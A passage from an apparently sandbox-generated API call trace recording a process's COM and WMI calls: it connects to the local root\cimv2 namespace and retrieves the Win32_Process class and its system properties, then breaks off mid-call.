Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1a980390) returned 0x0 [0144.407] WbemDefPath:IUnknown:Release (This=0x1bbbe4e0) returned 0x0 [0144.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1a980390) returned 0x0 [0144.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0144.407] WbemDefPath:IUnknown:AddRef (This=0x1a980390) returned 0x3 [0144.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0144.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0144.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bbbe520) returned 0x0 [0144.407] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.407] WbemDefPath:IUnknown:Release (This=0x1bbbe520) returned 0x3 [0144.407] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0144.407] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0144.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0144.407] WbemDefPath:IUnknown:Release (This=0x1a980390) returned 0x2 [0144.407] WbemDefPath:IUnknown:Release (This=0x1a980390) returned 0x1 [0144.408] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0144.408] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0144.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980390, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1a980390) returned 0x0 [0144.408] WbemDefPath:IUnknown:AddRef (This=0x1a980390) returned 0x3 [0144.408] WbemDefPath:IUnknown:Release (This=0x1a980390) returned 0x2 [0144.408] WbemDefPath:IWbemPath:SetText (This=0x1a980390, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0144.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980390, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0144.408] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0144.408] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0144.408] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0144.408] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0144.408] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0144.408] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.409] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bbbe200) returned 0x0 [0144.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe200, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0144.409] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbbe200, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bbbe220) returned 0x0 [0144.409] WbemLocator:IUnknown:Release (This=0x1bbbe200) returned 0x0 [0144.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe220, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bbbe220) returned 0x0 [0144.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe220, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0144.410] WbemLocator:IUnknown:AddRef (This=0x1bbbe220) returned 0x3 [0144.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe220, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0144.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe220, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0144.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe220, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0144.410] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0144.410] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0144.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe220, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0144.410] WbemLocator:IUnknown:Release (This=0x1bbbe220) returned 0x2 [0144.410] WbemLocator:IUnknown:Release (This=0x1bbbe220) returned 0x1 [0144.410] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0144.410] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0144.411] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe220, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbbe220) returned 0x0 [0144.411] WbemLocator:IUnknown:AddRef (This=0x1bbbe220) returned 0x3 [0144.411] WbemLocator:IUnknown:Release (This=0x1bbbe220) returned 0x2 [0144.411] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980390, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0144.411] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0144.411] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0144.411] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bbbe240) returned 0x0 [0144.411] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbbe240, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc0c650) returned 0x0 [0144.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c650, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc43a60) returned 0x0 [0144.940] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc43a60, pProxy=0x1bc0c650, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0144.940] WbemLocator:IUnknown:Release (This=0x1bc43a60) returned 0x1 [0144.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c650, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc43aa0) returned 0x0 [0144.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c650, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc43a60) returned 0x0 [0144.940] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc43a60, pProxy=0x1bc0c650, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0144.941] WbemLocator:IUnknown:Release (This=0x1bc43a60) returned 0x2 [0144.941] WbemLocator:IUnknown:Release (This=0x1bc43aa0) returned 0x1 [0144.941] CoTaskMemFree (pv=0x1bbc6200) [0144.941] WbemLocator:IUnknown:AddRef (This=0x1bc0c650) returned 0x2 [0144.941] WbemLocator:IUnknown:Release (This=0x1bbbe240) returned 0x0 [0144.941] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0144.941] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0144.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c650, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc43a70) returned 0x0 [0144.942] WbemLocator:IRpcOptions:Query (in: This=0x1bc43a70, pPrx=0x1bbbe140, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0144.942] WbemLocator:IUnknown:Release (This=0x1bc43a70) returned 0x2 [0144.942] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0144.942] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0144.942] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0c650, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc0c650) returned 0x0 [0144.942] WbemLocator:IUnknown:Release (This=0x1bc0c650) returned 0x2 [0144.942] SysStringLen (param_1=0x0) returned 0x0 [0144.942] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980390, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0144.942] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0144.942] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0144.942] WbemDefPath:IWbemPath:GetText (in: This=0x1a980750, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0144.942] WbemDefPath:IWbemPath:GetText (in: This=0x1a980750, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0144.943] IWbemServices:GetObject (in: This=0x1bc0c650, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bc75ba0, ppCallResult=0x0) returned 0x0 [0144.946] IWbemClassObject:Get (in: This=0x1bc75ba0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0144.946] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0144.947] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0144.947] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0144.947] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0144.947] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0144.947] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.949] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bbbe240) returned 0x0 [0144.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe240, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0144.949] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe240, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1a9802d0) returned 0x0 [0144.949] WbemDefPath:IUnknown:Release (This=0x1bbbe240) returned 0x0 [0144.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1a9802d0) returned 0x0 [0144.949] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0144.950] WbemDefPath:IUnknown:AddRef (This=0x1a9802d0) returned 0x3 [0144.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0144.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0144.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bbbe160) returned 0x0 [0144.950] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe160, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.950] WbemDefPath:IUnknown:Release (This=0x1bbbe160) returned 0x3 [0144.950] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0144.950] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0144.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0144.950] WbemDefPath:IUnknown:Release (This=0x1a9802d0) returned 0x2 [0144.950] WbemDefPath:IUnknown:Release (This=0x1a9802d0) returned 0x1 [0144.950] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0144.950] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0144.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1a9802d0) returned 0x0 [0144.951] WbemDefPath:IUnknown:AddRef (This=0x1a9802d0) returned 0x3 [0144.951] WbemDefPath:IUnknown:Release (This=0x1a9802d0) returned 0x2 [0144.951] WbemDefPath:IWbemPath:SetText (This=0x1a9802d0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0144.951] IWbemClassObject:Get (in: This=0x1bc75ba0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0144.951] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0144.951] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0144.951] IWbemClassObject:Get (in: This=0x1bc75ba0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0144.951] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0144.951] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0144.952] IWbemClassObject:Get (in: This=0x1bc75ba0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0144.952] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0144.952] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0144.952] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0144.952] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0144.952] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0144.952] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.954] CoGetClassObject (in: 